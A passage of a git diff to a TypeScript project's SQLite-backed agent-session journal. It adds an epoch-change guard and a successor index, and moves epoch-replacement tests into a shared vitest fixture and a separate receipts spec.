'ERR_SQLITE_ERROR' }) + expect(journalOpenRefusalError(failure)).toMatchObject({ + refusal: { + code: 'agent_session_journal_unreadable', + details: { reason: 'journalUnavailable' } + } + }) + expect(failures).toBe(0) + const reopened = await outcomes.open(options) + expect(reopened.snapshot().items.map((entry) => entry.body)).toEqual([body('kept')]) }) }) diff --git a/src/main/native-chat/agent-session-journal/journal-database-schema.ts b/src/main/native-chat/agent-session-journal/journal-database-schema.ts index 371afc556e4..002307b5fe7 100644 --- a/src/main/native-chat/agent-session-journal/journal-database-schema.ts +++ b/src/main/native-chat/agent-session-journal/journal-database-schema.ts @@ -41,12 +41,18 @@ CREATE TABLE IF NOT EXISTS journal_set_aside ( } // JSON rows preserve unreadable records byte-for-byte. +export const AGENT_SESSION_CLEAR_SUCCESSOR_INDEX_SQL = ` +CREATE INDEX IF NOT EXISTS idx_agent_session_clear_successor + ON agent_session_records(CASE WHEN json_valid(record_json) THEN json_extract(record_json, '$.conversationCommand.replacementSessionId') END); +` + export function createAgentSessionRecordTablesSql(): string { return ` CREATE TABLE IF NOT EXISTS agent_session_records ( session_id TEXT PRIMARY KEY, record_json TEXT NOT NULL ); +${AGENT_SESSION_CLEAR_SUCCESSOR_INDEX_SQL} CREATE TABLE IF NOT EXISTS agent_session_operations ( operation_key TEXT PRIMARY KEY, row_json TEXT NOT NULL diff --git a/src/main/native-chat/agent-session-journal/journal-database.ts b/src/main/native-chat/agent-session-journal/journal-database.ts index c5be4fbb676..96d75c2f25e 100644 --- a/src/main/native-chat/agent-session-journal/journal-database.ts +++ b/src/main/native-chat/agent-session-journal/journal-database.ts @@ -1,9 +1,11 @@ // Read user_version before persistent pragmas/DDL: even enabling WAL mutates newer databases. +import { ensureJournalOutcomeTables } from './journal-outcome-format' import Database from '../../sqlite/sync-database' import { hardenSqliteDatabaseFiles } from '../../sqlite/harden-database-files' import { createAgentSessionRecordTablesSql, + AGENT_SESSION_CLEAR_SUCCESSOR_INDEX_SQL, createJournalTablesSql, JOURNAL_DB_OLDEST_RELEASED_VERSION, JOURNAL_DB_SCHEMA_VERSION @@ -72,6 +74,8 @@ export function openJournalDatabase(dbPath: string): OpenJournalDatabase { // Additive tables must exist on every writable open, even when version migration returns early. ensureQueuedMessagesTable(probe) ensureCommandReceiptsTable(probe) + ensureJournalOutcomeTables(probe) + probe.exec(AGENT_SESSION_CLEAR_SUCCESSOR_INDEX_SQL) ensureAgentSessionAttachmentClaimTables(probe) hardenSqliteDatabaseFiles(dbPath) transferred = true diff --git a/src/main/native-chat/agent-session-journal/journal-derived-turn-scope.ts b/src/main/native-chat/agent-session-journal/journal-derived-turn-scope.ts index 5b4236e1d1c..52ff383f538 100644 --- a/src/main/native-chat/agent-session-journal/journal-derived-turn-scope.ts +++ b/src/main/native-chat/agent-session-journal/journal-derived-turn-scope.ts @@ -12,6 +12,16 @@ import { isAgentSessionContextClear } from '../../../shared/agent-session-contex export class JournalDerivedTurnScope { private openTurnItemId: string | null = null + snapshot(): string | null { + return this.openTurnItemId + } + + static restore(openTurnItemId: string | null): JournalDerivedTurnScope { + const scope = new JournalDerivedTurnScope() + scope.openTurnItemId = openTurnItemId + return scope + } + scopeFor(body: AgentJournalItemBody): AgentJournalTurnScope { return this.openTurnItemId === null || readAgentJournalTurn(body) ? AGENT_JOURNAL_THREAD_SCOPE diff --git a/src/main/native-chat/agent-session-journal/journal-epoch-controller.ts b/src/main/native-chat/agent-session-journal/journal-epoch-controller.ts index 2d58733db12..c9b1e731e42 100644 --- a/src/main/native-chat/agent-session-journal/journal-epoch-controller.ts +++ b/src/main/native-chat/agent-session-journal/journal-epoch-controller.ts @@ -36,8 +36,9 @@ export class JournalEpochController { } ) {} - start(reason: AgentJournalEpochReason, fence: number): void { + start(reason: AgentJournalEpochReason, fence: number, expectedEpoch: string | null): void { publishNewEpoch({ + expectedEpoch, database: this.deps.database(), identity: this.deps.identity, epoch: this.deps.mintEpoch(), @@ -53,7 +54,7 @@ export class JournalEpochController { roll(reason: AgentJournalEpochReason, fence: number): Promise { return this.deps.serialize(() => { assertJournalWritable(this.deps.readOnly(), this.deps.identity.sessionId) - this.start(reason, fence) + this.start(reason, fence, this.deps.state().epoch) return this.deps.cursor() }) } diff --git a/src/main/native-chat/agent-session-journal/journal-epoch-replacement-contract-test-fixture.ts b/src/main/native-chat/agent-session-journal/journal-epoch-replacement-contract-test-fixture.ts new file mode 100644 index 00000000000..cf08e0b4c13 --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-epoch-replacement-contract-test-fixture.ts @@ -0,0 +1,161 @@ +import { mkdtemp, rm, mkdir, writeFile } from 'node:fs/promises' +import { randomUUID } from 'node:crypto' +import { tmpdir } from 'node:os' +import { join, dirname } from 'node:path' +import { afterEach, beforeEach } from 'vitest' +import type { + AgentJournalItemIdentity, + AgentJournalMessageItem, + AgentSessionJournalIdentity +} from '../../../shared/agent-session-journal-types' +import type { JournalHostDatabase } from './journal-host-database' +import { replaceJournalEpoch } from './journal-epoch-replacement' +import type { JournalLoad } from './journal-open' +import { + createTrackedJournalOpener, + openTestJournalHostDatabase +} from './journal-host-database-test-support' +import { codexProviderHandle } from '../../../shared/agent-session-provider-handle-encoding' +import { formatNativeChatFileReference } from '../../../shared/agent-image-paste' +import { agentSessionSendBodyFingerprint } from '../../../shared/structured-agent-session-send-mutation' +import * as attachmentReferences from '../agent-session-attachments/agent-session-attachment-references' + +export function createFixture() { + const IDENTITY: AgentSessionJournalIdentity = { + sessionId: 'session-1', + workspaceId: 'ws-1', + hostId: 'host-1', + agent: 'codex', + providerHandle: codexProviderHandle('thread-1') + } + + const PEER: AgentSessionJournalIdentity = { + ...IDENTITY, + sessionId: 'session-peer', + providerHandle: codexProviderHandle('thread-peer') + } + + let root: string + + let clock = 1_000 + + let database: JournalHostDatabase + + const journals = createTrackedJournalOpener() + + function now(): number { + clock += 1 + return clock + } + + function storedRows(sessionId: string, epoch: string): number { + return Number( + database.db + .prepare('SELECT count(*) AS total FROM journal_rows WHERE session_id = ? AND epoch = ?') + .get(sessionId, epoch)?.total + ) + } + + function item(ordinal: number): AgentJournalItemIdentity { + return { provider: 'codex', threadId: 'thread-1', turnId: 'turn-1', ordinal } + } + + function replace(input: { + items: Parameters[0]['items'] + onPublished?: (loaded: JournalLoad) => void + }): void { + replaceJournalEpoch({ + database, + identity: IDENTITY, + reason: 'legacy_import', + fence: 1, + items: input.items, + queuePause: { lifted: false, liveStop: null, reopened: false }, + queue: { cards: [], receipt: { write: () => {}, committed: () => {} } }, + now, + mintEpoch: () => `epoch-${clock}`, + onPublished: input.onPublished ?? (() => undefined) + }) + } + + beforeEach(async () => { + root = await mkdtemp(join(tmpdir(), 'orca-journal-replace-')) + clock = 1_000 + database = openTestJournalHostDatabase(root) + }) + + afterEach(async () => { + try { + await database.close() + } catch {} + await journals.closeAll() + await rm(root, { recursive: true, force: true }) + }) + + async function legacyInputs(count: number) { + const existing = await journals.open({ identity: IDENTITY, stateDirectory: root }) + await existing.close() + const files: { id: string; path: string; body: AgentJournalMessageItem }[] = [] + for (let n = 0; n < count; n++) { + const id = randomUUID() + const path = join( + attachmentReferences.agentSessionAttachmentStoreRoot(root), + id, + 'source.txt' + ) + await mkdir(dirname(path), { recursive: true }) + await writeFile(path, 'queued source') + const body: AgentJournalMessageItem = { + kind: 'message', + role: 'user', + blocks: [{ type: 'text', text: formatNativeChatFileReference(path) }] + } + database.db + .prepare(`INSERT INTO queued_messages + (session_id, message_id, position, body_json, fingerprint, created_at, host_instance, state, hold_reason, returned_reason, consumed_as) + VALUES (?, ?, ?, ?, ?, 0, 'earlier', ?, ?, ?, ?)`) + .run( + IDENTITY.sessionId, + `queue-${n}`, + n + 1, + JSON.stringify(body), + agentSessionSendBodyFingerprint(IDENTITY.sessionId, body), + n % 2 ? 'returned' : 'waiting', + n % 2 ? null : 'send_failed', + n % 2 ? 'refused before' : null, + n % 2 ? `old-${n}` : null + ) + files.push({ id, path, body }) + } + return files + } + + return { + IDENTITY, + PEER, + get clock() { + return clock + }, + set clock(value: typeof clock) { + clock = value + }, + get database() { + return database + }, + set database(value: typeof database) { + database = value + }, + item, + journals, + legacyInputs, + now, + replace, + get root() { + return root + }, + set root(value: typeof root) { + root = value + }, + storedRows + } +} diff --git a/src/main/native-chat/agent-session-journal/journal-epoch-replacement-receipts.spec.ts b/src/main/native-chat/agent-session-journal/journal-epoch-replacement-receipts.spec.ts new file mode 100644 index 00000000000..a6f3e29b683 --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-epoch-replacement-receipts.spec.ts @@ -0,0 +1,229 @@ +import type { createFixture } from './journal-epoch-replacement-contract-test-fixture' +import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../shared/agent-session-journal-types' +import { readFile } from 'node:fs/promises' +import { describe, expect, it, vi } from 'vitest' +import type { JournalLoad } from './journal-open' +import type { AgentSessionJournal } from './journal-store' +import { readJournalSessionEpoch } from './journal-row-table' +import { openTestJournalHostDatabase } from './journal-host-database-test-support' +import { markUnclaimedUploadForSweep } from '../agent-session-attachments/agent-session-attachment-claims' +import { JournalGoalAttachmentInverse } from './journal-goal-attachment-inverse' +import * as attachmentReferences from '../agent-session-attachments/agent-session-attachment-references' + +export function registerJournalEpochReplacementReceiptsTests( + fixture: ReturnType +): void { + describe('journal epoch replacement', () => { + it('publishes one observable replacement', () => { + const published: JournalLoad[] = [] + + fixture.replace({ + items: [ + { + identity: fixture.item(1), + body: { kind: 'status', text: 'republished' }, + ownerFence: 1 + } + ], + onPublished: (loaded) => published.push(loaded) + }) + + expect(published).toHaveLength(1) + const epoch = readJournalSessionEpoch(fixture.database.db, fixture.IDENTITY.sessionId) + expect(epoch).toBe(published[0]?.state.epoch) + expect(fixture.storedRows(fixture.IDENTITY.sessionId, epoch ?? '')).toBe(1) + expect(published[0]?.state.lastSequence).toBe(2) + }) + + it.each([ + [ + 'a replace', + (journal: AgentSessionJournal) => + journal.replaceEpochItems('legacy_import', 1, [ + { + identity: fixture.item(9), + body: { kind: 'status', text: 'republished' }, + ownerFence: 1 + } + ]) + ], + ['a rollover', (journal: AgentSessionJournal) => journal.rollEpoch('handle_forked', 1)] + ])('discards every superseded row in the same transaction as %s', async (_name, retire) => { + const journal = await fixture.journals.open({ + identity: fixture.IDENTITY, + stateDirectory: fixture.root + }) + const peer = await fixture.journals.open({ + identity: fixture.PEER, + stateDirectory: fixture.root + }) + const scope = { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } + await journal.appendItem(fixture.item(1), { kind: 'status', text: 'old' }, scope) + await journal.appendItem(fixture.item(2), { kind: 'status', text: 'older' }, scope) + await peer.appendItem(fixture.item(1), { kind: 'status', text: 'peer' }, scope) + const before = journal.epoch + + await retire(journal) + + expect(journal.epoch).not.toBe(before) + expect(fixture.storedRows(fixture.IDENTITY.sessionId, before)).toBe(0) + expect(fixture.storedRows(fixture.IDENTITY.sessionId, journal.epoch)).toBe(1) + expect(fixture.storedRows(fixture.PEER.sessionId, peer.epoch)).toBe(1) + }) + }) + + it.each([ + ['replace', 1], + ['replace', 10], + ['roll', 1], + ['roll', 10] + ] as const)( + 'claims each actual carried card once through %s at Q=%i, with no prior claim and after reopen', + async (mode, count) => { + const files = await fixture.legacyInputs(count) + const journal = await fixture.journals.open({ + identity: fixture.IDENTITY, + stateDirectory: fixture.root + }) + const { db } = fixture.database + expect( + db.prepare('SELECT upload_id FROM agent_session_attachment_claims').all() + ).toHaveLength(0) + const cards = () => + journal.queuedMessages + .list() + .map(({ messageId, body, state, holdReason, returnedReason }) => ({ + messageId, + body, + state, + holdReason, + returnedReason + })) + const before = cards() + const goal = { provider: 'orca' as const, clientMessageId: 'live-goal' } + await journal.appendClaimingAttachments( + goal, + { ...files[0].body, sentAs: 'goal' }, + { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } + ) + const extraction = vi.spyOn(attachmentReferences, 'agentSessionAttachmentReferences') + const insertion = vi.spyOn( + db.prepare( + 'INSERT OR IGNORE INTO agent_session_attachment_claims (upload_id, session_id, claimed_at) VALUES (?, ?, ?)' + ), + 'run' + ) + const acquired = vi.spyOn(JournalGoalAttachmentInverse.prototype, 'acquired') + await (mode === 'replace' + ? journal.replaceEpochItems('legacy_import', 1, []) + : journal.rollEpoch('handle_forked', 1)) + expect(extraction).toHaveBeenCalledTimes(count) + expect(insertion).toHaveBeenCalledTimes(count) + expect(acquired).toHaveBeenCalledTimes(count) + expect(cards()).toEqual(before) + process.stdout.write( + `pr34654-epoch-contract ${JSON.stringify({ mode, count, extractions: extraction.mock.calls.length, insertions: insertion.mock.calls.length, acquired: acquired.mock.calls.length })}\n` + ) + await journal.withdrawGoalObjective(goal, { fence: 1 }) + expect( + db.prepare('SELECT upload_id FROM agent_session_attachment_claims').all() + ).toHaveLength(count) + if (mode === 'replace') { + const card = journal.queuedMessages.get('queue-0') + if (!card) { + throw new Error('missing carried card') + } + await journal.appendSubmission({ + clientMessageId: 'pending', + payloadFingerprint: card.fingerprint, + body: card.body, + fence: 1, + handoverRecorded: true, + queuedMessageId: card.messageId + }) + expect(journal.queuedMessages.get('queue-0')?.state).toBe('dispatched') + extraction.mockClear() + insertion.mockClear() + acquired.mockClear() + await journal.replaceEpochItems('legacy_import', 1, [ + { + identity: fixture.item(9), + body: card.body, + ownerFence: 1, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + } + ]) + expect(extraction).toHaveBeenCalledTimes(count + 2) + expect(insertion).toHaveBeenCalledTimes(count + 2) + expect(acquired).toHaveBeenCalledTimes(count + 2) + expect(journal.submission('pending')).toMatchObject({ + dispatchState: 'pending', + handoverRecorded: true, + queuedMessageId: 'queue-0' + }) + expect(journal.queuedMessages.get('queue-0')?.state).toBe('dispatched') + expect(journal.snapshot().items.map((entry) => entry.body)).toEqual([card.body, card.body]) + process.stdout.write( + `pr34654-mixed-epoch-contract ${JSON.stringify({ q: count, i: 1, s: 1, extractions: extraction.mock.calls.length, insertions: insertion.mock.calls.length, acquired: acquired.mock.calls.length })}\n` + ) + } + await fixture.journals.closeAll() + const reopened = await fixture.journals.open({ + identity: fixture.IDENTITY, + stateDirectory: fixture.root + }) + fixture.database = openTestJournalHostDatabase(fixture.root) + expect(reopened.queuedMessages.list().map((card) => card.body)).toEqual( + before.map((card) => card.body) + ) + for (const file of files) { + expect(markUnclaimedUploadForSweep(fixture.database.db, file.id, 1)).toBe(false) + expect(await readFile(file.path, 'utf8')).toBe('queued source') + } + } + ) + + it.each(['replace', 'roll'] as const)( + 'finalizes %s queue ownership only after COMMIT and before fallible publication', + async (mode) => { + const [file] = await fixture.legacyInputs(1) + const journal = await fixture.journals.open({ + identity: fixture.IDENTITY, + stateDirectory: fixture.root + }) + for (const phase of ['rollback', 'publication'] as const) { + const goal = { provider: 'orca' as const, clientMessageId: `goal-${phase}` } + await journal.appendClaimingAttachments( + goal, + { ...file.body, sentAs: 'goal' }, + { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } + ) + const retire = () => + mode === 'replace' + ? journal.replaceEpochItems('legacy_import', 1, []) + : journal.rollEpoch('handle_forked', 1) + if (phase === 'rollback') { + const transaction = fixture.database.transaction.bind(fixture.database) + vi.spyOn(fixture.database, 'transaction').mockImplementationOnce((run) => + transaction((db) => { + run(db) + throw new Error('rollback epoch') + }) + ) + await expect(retire()).rejects.toThrow('rollback epoch') + } else { + journal.observeCommits(() => { + throw new Error('publication failed') + }) + await expect(retire()).rejects.toThrow('publication failed') + journal.observeCommits(() => {}) + } + await journal.withdrawGoalObjective(goal, { fence: 1 }) + expect( + fixture.database.db.prepare('SELECT upload_id FROM agent_session_attachment_claims').all() + ).toHaveLength(phase === 'rollback' ? 0 : 1) + expect(journal.queuedMessages.list()).toHaveLength(1) + } + } + ) +} diff --git a/src/main/native-chat/agent-session-journal/journal-epoch-replacement.spec.ts b/src/main/native-chat/agent-session-journal/journal-epoch-replacement.spec.ts index 7d5b142e04e..b76b12c0b03 100644 --- a/src/main/native-chat/agent-session-journal/journal-epoch-replacement.spec.ts +++ b/src/main/native-chat/agent-session-journal/journal-epoch-replacement.spec.ts @@ -1,327 +1,7 @@ -import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../shared/agent-session-journal-types' - -import { mkdtemp, rm, mkdir, writeFile, readFile } from 'node:fs/promises' -import { randomUUID } from 'node:crypto' -import { tmpdir } from 'node:os' -import { join, dirname } from 'node:path' -import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' -import type { - AgentJournalItemIdentity, - AgentJournalMessageItem, - AgentSessionJournalIdentity -} from '../../../shared/agent-session-journal-types' -import type { JournalHostDatabase } from './journal-host-database' -import { replaceJournalEpoch } from './journal-epoch-replacement' -import type { JournalLoad } from './journal-open' -import type { AgentSessionJournal } from './journal-store' -import { readJournalSessionEpoch } from './journal-row-table' -import { - createTrackedJournalOpener, - openTestJournalHostDatabase, - readTestJournalRows -} from './journal-host-database-test-support' -import { codexProviderHandle } from '../../../shared/agent-session-provider-handle-encoding' - -import * as attachmentReferences from '../agent-session-attachments/agent-session-attachment-references' -import { formatNativeChatFileReference } from '../../../shared/agent-image-paste' -import { agentSessionSendBodyFingerprint } from '../../../shared/structured-agent-session-send-mutation' -import { markUnclaimedUploadForSweep } from '../agent-session-attachments/agent-session-attachment-claims' -import { JournalGoalAttachmentInverse } from './journal-goal-attachment-inverse' +import { createFixture } from './journal-epoch-replacement-contract-test-fixture' +import { registerJournalEpochReplacementReceiptsTests } from './journal-epoch-replacement-receipts.spec' export function registerJournalEpochReplacementTests(): void { - const IDENTITY: AgentSessionJournalIdentity = { - sessionId: 'session-1', - workspaceId: 'ws-1', - hostId: 'host-1', - agent: 'codex', - providerHandle: codexProviderHandle('thread-1') - } - - const PEER: AgentSessionJournalIdentity = { - ...IDENTITY, - sessionId: 'session-peer', - providerHandle: codexProviderHandle('thread-peer') - } - - let root: string - let clock = 1_000 - let database: JournalHostDatabase - const journals = createTrackedJournalOpener() - - function now(): number { - clock += 1 - return clock - } - - function storedRows(sessionId: string, epoch: string): number { - return Number( - database.db - .prepare('SELECT count(*) AS total FROM journal_rows WHERE session_id = ? AND epoch = ?') - .get(sessionId, epoch)?.total - ) - } - - function item(ordinal: number): AgentJournalItemIdentity { - return { provider: 'codex', threadId: 'thread-1', turnId: 'turn-1', ordinal } - } - - function replace(input: { - items: Parameters[0]['items'] - onPublished?: (loaded: JournalLoad) => void - }): void { - replaceJournalEpoch({ - database, - identity: IDENTITY, - reason: 'legacy_import', - fence: 1, - items: input.items, - queuePause: { lifted: false, liveStop: null, reopened: false }, - queue: { cards: [], receipt: { write: () => {}, committed: () => {} } }, - now, - mintEpoch: () => `epoch-${clock}`, - onPublished: input.onPublished ?? (() => undefined) - }) - } - - beforeEach(async () => { - root = await mkdtemp(join(tmpdir(), 'orca-journal-replace-')) - clock = 1_000 - database = openTestJournalHostDatabase(root) - }) - - afterEach(async () => { - try { - await database.close() - } catch {} - await journals.closeAll() - await rm(root, { recursive: true, force: true }) - }) - - describe('journal epoch replacement', () => { - it('publishes one observable replacement', () => { - const published: JournalLoad[] = [] - - replace({ - items: [ - { identity: item(1), body: { kind: 'status', text: 'republished' }, ownerFence: 1 } - ], - onPublished: (loaded) => published.push(loaded) - }) - - expect(published).toHaveLength(1) - const epoch = readJournalSessionEpoch(database.db, IDENTITY.sessionId) - expect(epoch).toBe(published[0]?.state.epoch) - expect(readTestJournalRows(database.db, IDENTITY.sessionId, epoch ?? '')).toHaveLength(2) - }) - - it.each([ - [ - 'a replace', - (journal: AgentSessionJournal) => - journal.replaceEpochItems('legacy_import', 1, [ - { identity: item(9), body: { kind: 'status', text: 'republished' }, ownerFence: 1 } - ]) - ], - ['a rollover', (journal: AgentSessionJournal) => journal.rollEpoch('handle_forked', 1)] - ])('discards every superseded row in the same transaction as %s', async (_name, retire) => { - const journal = await journals.open({ identity: IDENTITY, stateDirectory: root }) - const peer = await journals.open({ identity: PEER, stateDirectory: root }) - const scope = { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } - await journal.appendItem(item(1), { kind: 'status', text: 'old' }, scope) - await journal.appendItem(item(2), { kind: 'status', text: 'older' }, scope) - await peer.appendItem(item(1), { kind: 'status', text: 'peer' }, scope) - const before = journal.epoch - - await retire(journal) - - expect(journal.epoch).not.toBe(before) - expect(storedRows(IDENTITY.sessionId, before)).toBe(0) - expect(storedRows(IDENTITY.sessionId, journal.epoch)).toBe(journal.cursor().sequence) - expect(storedRows(PEER.sessionId, peer.epoch)).toBe(2) - }) - }) - - async function legacyInputs(count: number) { - const existing = await journals.open({ identity: IDENTITY, stateDirectory: root }) - await existing.close() - const files: { id: string; path: string; body: AgentJournalMessageItem }[] = [] - for (let n = 0; n < count; n++) { - const id = randomUUID() - const path = join( - attachmentReferences.agentSessionAttachmentStoreRoot(root), - id, - 'source.txt' - ) - await mkdir(dirname(path), { recursive: true }) - await writeFile(path, 'queued source') - const body: AgentJournalMessageItem = { - kind: 'message', - role: 'user', - blocks: [{ type: 'text', text: formatNativeChatFileReference(path) }] - } - database.db - .prepare(`INSERT INTO queued_messages - (session_id, message_id, position, body_json, fingerprint, created_at, host_instance, state, hold_reason, returned_reason, consumed_as) - VALUES (?, ?, ?, ?, ?, 0, 'earlier', ?, ?, ?, ?)`) - .run( - IDENTITY.sessionId, - `queue-${n}`, - n + 1, - JSON.stringify(body), - agentSessionSendBodyFingerprint(IDENTITY.sessionId, body), - n % 2 ? 'returned' : 'waiting', - n % 2 ? null : 'send_failed', - n % 2 ? 'refused before' : null, - n % 2 ? `old-${n}` : null - ) - files.push({ id, path, body }) - } - return files - } - - it.each([ - ['replace', 1], - ['replace', 10], - ['roll', 1], - ['roll', 10] - ] as const)( - 'claims each actual carried card once through %s at Q=%i, with no prior claim and after reopen', - async (mode, count) => { - const files = await legacyInputs(count) - const journal = await journals.open({ identity: IDENTITY, stateDirectory: root }) - const { db } = database - expect( - db.prepare('SELECT upload_id FROM agent_session_attachment_claims').all() - ).toHaveLength(0) - const cards = () => - journal.queuedMessages - .list() - .map(({ messageId, body, state, holdReason, returnedReason }) => ({ - messageId, - body, - state, - holdReason, - returnedReason - })) - const before = cards() - const goal = { provider: 'orca' as const, clientMessageId: 'live-goal' } - await journal.appendClaimingAttachments( - goal, - { ...files[0].body, sentAs: 'goal' }, - { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } - ) - const extraction = vi.spyOn(attachmentReferences, 'agentSessionAttachmentReferences') - const insertion = vi.spyOn( - db.prepare( - 'INSERT OR IGNORE INTO agent_session_attachment_claims (upload_id, session_id, claimed_at) VALUES (?, ?, ?)' - ), - 'run' - ) - const acquired = vi.spyOn(JournalGoalAttachmentInverse.prototype, 'acquired') - await (mode === 'replace' - ? journal.replaceEpochItems('legacy_import', 1, []) - : journal.rollEpoch('handle_forked', 1)) - expect(extraction).toHaveBeenCalledTimes(count) - expect(insertion).toHaveBeenCalledTimes(count) - expect(acquired).toHaveBeenCalledTimes(count) - expect(cards()).toEqual(before) - process.stdout.write( - `pr34654-epoch-contract ${JSON.stringify({ mode, count, extractions: extraction.mock.calls.length, insertions: insertion.mock.calls.length, acquired: acquired.mock.calls.length })}\n` - ) - await journal.withdrawGoalObjective(goal, { fence: 1 }) - expect( - db.prepare('SELECT upload_id FROM agent_session_attachment_claims').all() - ).toHaveLength(count) - if (mode === 'replace') { - const card = journal.queuedMessages.get('queue-0') - if (!card) { - throw new Error('missing carried card') - } - await journal.appendSubmission({ - clientMessageId: 'pending', - payloadFingerprint: card.fingerprint, - body: card.body, - fence: 1, - handoverRecorded: true, - queuedMessageId: card.messageId - }) - expect(journal.queuedMessages.get('queue-0')?.state).toBe('dispatched') - extraction.mockClear() - insertion.mockClear() - acquired.mockClear() - await journal.replaceEpochItems('legacy_import', 1, [ - { - identity: item(9), - body: card.body, - ownerFence: 1, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - } - ]) - expect(extraction).toHaveBeenCalledTimes(count + 2) - expect(insertion).toHaveBeenCalledTimes(count + 2) - expect(acquired).toHaveBeenCalledTimes(count + 2) - expect(journal.submission('pending')).toMatchObject({ - dispatchState: 'pending', - handoverRecorded: true, - queuedMessageId: 'queue-0' - }) - expect(journal.queuedMessages.get('queue-0')?.state).toBe('dispatched') - expect(journal.snapshot().items.map((entry) => entry.body)).toEqual([card.body, card.body]) - process.stdout.write( - `pr34654-mixed-epoch-contract ${JSON.stringify({ q: count, i: 1, s: 1, extractions: extraction.mock.calls.length, insertions: insertion.mock.calls.length, acquired: acquired.mock.calls.length })}\n` - ) - } - await journals.closeAll() - const reopened = await journals.open({ identity: IDENTITY, stateDirectory: root }) - database = openTestJournalHostDatabase(root) - expect(reopened.queuedMessages.list().map((card) => card.body)).toEqual( - before.map((card) => card.body) - ) - for (const file of files) { - expect(markUnclaimedUploadForSweep(database.db, file.id, 1)).toBe(false) - expect(await readFile(file.path, 'utf8')).toBe('queued source') - } - } - ) - - it.each(['replace', 'roll'] as const)( - 'finalizes %s queue ownership only after COMMIT and before fallible publication', - async (mode) => { - const [file] = await legacyInputs(1) - const journal = await journals.open({ identity: IDENTITY, stateDirectory: root }) - for (const phase of ['rollback', 'publication'] as const) { - const goal = { provider: 'orca' as const, clientMessageId: `goal-${phase}` } - await journal.appendClaimingAttachments( - goal, - { ...file.body, sentAs: 'goal' }, - { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } - ) - const retire = () => - mode === 'replace' - ? journal.replaceEpochItems('legacy_import', 1, []) - : journal.rollEpoch('handle_forked', 1) - if (phase === 'rollback') { - const transaction = database.transaction.bind(database) - vi.spyOn(database, 'transaction').mockImplementationOnce((run) => - transaction((db) => { - run(db) - throw new Error('rollback epoch') - }) - ) - await expect(retire()).rejects.toThrow('rollback epoch') - } else { - journal.observeCommits(() => { - throw new Error('publication failed') - }) - await expect(retire()).rejects.toThrow('publication failed') - journal.observeCommits(() => {}) - } - await journal.withdrawGoalObjective(goal, { fence: 1 }) - expect( - database.db.prepare('SELECT upload_id FROM agent_session_attachment_claims').all() - ).toHaveLength(phase === 'rollback' ? 0 : 1) - expect(journal.queuedMessages.list()).toHaveLength(1) - } - } - ) + const fixture = createFixture() + registerJournalEpochReplacementReceiptsTests(fixture) } diff --git a/src/main/native-chat/agent-session-journal/journal-epoch-replacement.ts b/src/main/native-chat/agent-session-journal/journal-epoch-replacement.ts index 3b8f7866039..c39a1fbbbad 100644 --- a/src/main/native-chat/agent-session-journal/journal-epoch-replacement.ts +++ b/src/main/native-chat/agent-session-journal/journal-epoch-replacement.ts @@ -1,3 +1,5 @@ +import { journalOutcomeSource } from './journal-outcome-format' +import { publishJournalOutcomeEpoch } from './journal-outcome-write' import { journalItemEchoFields, journalItemEchoRestatement, @@ -43,12 +45,11 @@ import { import type { JournalQueuePauseRestatement } from './queued-message-pause' import { deleteJournalEpochRows, - insertJournalRow, publishJournalSessionEpoch, readJournalSessionEpoch } from './journal-row-table' import type { AgentJournalEpochReason, JournalRow } from './journal-row-schema' -import { assertJournalFence } from './journal-write-guards' +import { AgentSessionJournalError, assertJournalFence } from './journal-write-guards' import type { JournalOperationReceipt } from './journal-row-writer' import type { JournalAttachmentClaim } from './journal-submission-hook' @@ -65,6 +66,8 @@ export type JournalReplacementItem = AgentJournalProducerLinkage & { executionOwner?: number } +/** Survivors are restated from the open chat. That loses nothing another build wrote: a chat holding + * a key this build does not declare refuses to open, so no handle can reach here. */ export function replaceJournalEpoch(input: { database: JournalHostDatabase identity: AgentSessionJournalIdentity @@ -192,34 +195,47 @@ export function replaceJournalEpoch(input: { const { sessionId } = input.identity const receipt = input.receipt?.({ epoch, sequence: state.lastSequence }) const claimsCommitted: (() => void)[] = [] - input.database.transaction((db) => { - const retired = readJournalSessionEpoch(db, sessionId) - if (retired !== null) { - deleteJournalEpochRows(db, sessionId, retired) - } - for (const row of rows) { - insertJournalRow(db, sessionId, row) - const body = row.kind === 'item' || row.kind === 'submission' ? row.body : null - if ( - body?.kind === 'message' && - body.role === 'user' && - !(row.kind === 'item' && input.isLiveGoal?.(row.itemId)) - ) { - const commit = input.claimAttachments?.(db, body, false) - if (commit) { - claimsCommitted.push(commit) + state.oldestSequence = 1 + input.database.transaction( + (db) => { + const retired = readJournalSessionEpoch(db, sessionId) + // The new epoch was built from the live one; refuse if another write replaced it meanwhile. + if (input.previous && retired !== input.previous.epoch) { + throw new AgentSessionJournalError('journal_row_rejected', 'the chat epoch changed') + } + if (retired !== null) { + journalOutcomeSource(db, sessionId, retired) + } + if (retired !== null) { + deleteJournalEpochRows(db, sessionId, retired) + } + for (const row of rows) { + const body = row.kind === 'item' || row.kind === 'submission' ? row.body : null + if ( + body?.kind === 'message' && + body.role === 'user' && + !(row.kind === 'item' && input.isLiveGoal?.(row.itemId)) + ) { + const commit = input.claimAttachments?.(db, body, false) + if (commit) { + claimsCommitted.push(commit) + } } } + input.queue.receipt.write(db) + publishJournalSessionEpoch(db, input.identity, epoch) + receipt?.write(db) + return publishJournalOutcomeEpoch(db, sessionId, state.epoch, rows) + }, + false, + (publication) => { + // Adopt, then finish the nonthrowing ownership bookkeeping, before the fallible publication. + const state = publication.adopt() + claimsCommitted.forEach((commit) => commit()) + input.queue.receipt.committed() + input.onPublished({ state, newer: null, damage: null }) } - input.queue.receipt.write(db) - publishJournalSessionEpoch(db, input.identity, epoch) - receipt?.write(db) - }) - claimsCommitted.forEach((commit) => commit()) - input.queue.receipt.committed() + ) - // Adopt the committed epoch immediately; later failures must not leave writers targeting deleted rows. - state.oldestSequence = 1 - input.onPublished({ state, newer: null, damage: null }) receipt?.committed() } diff --git 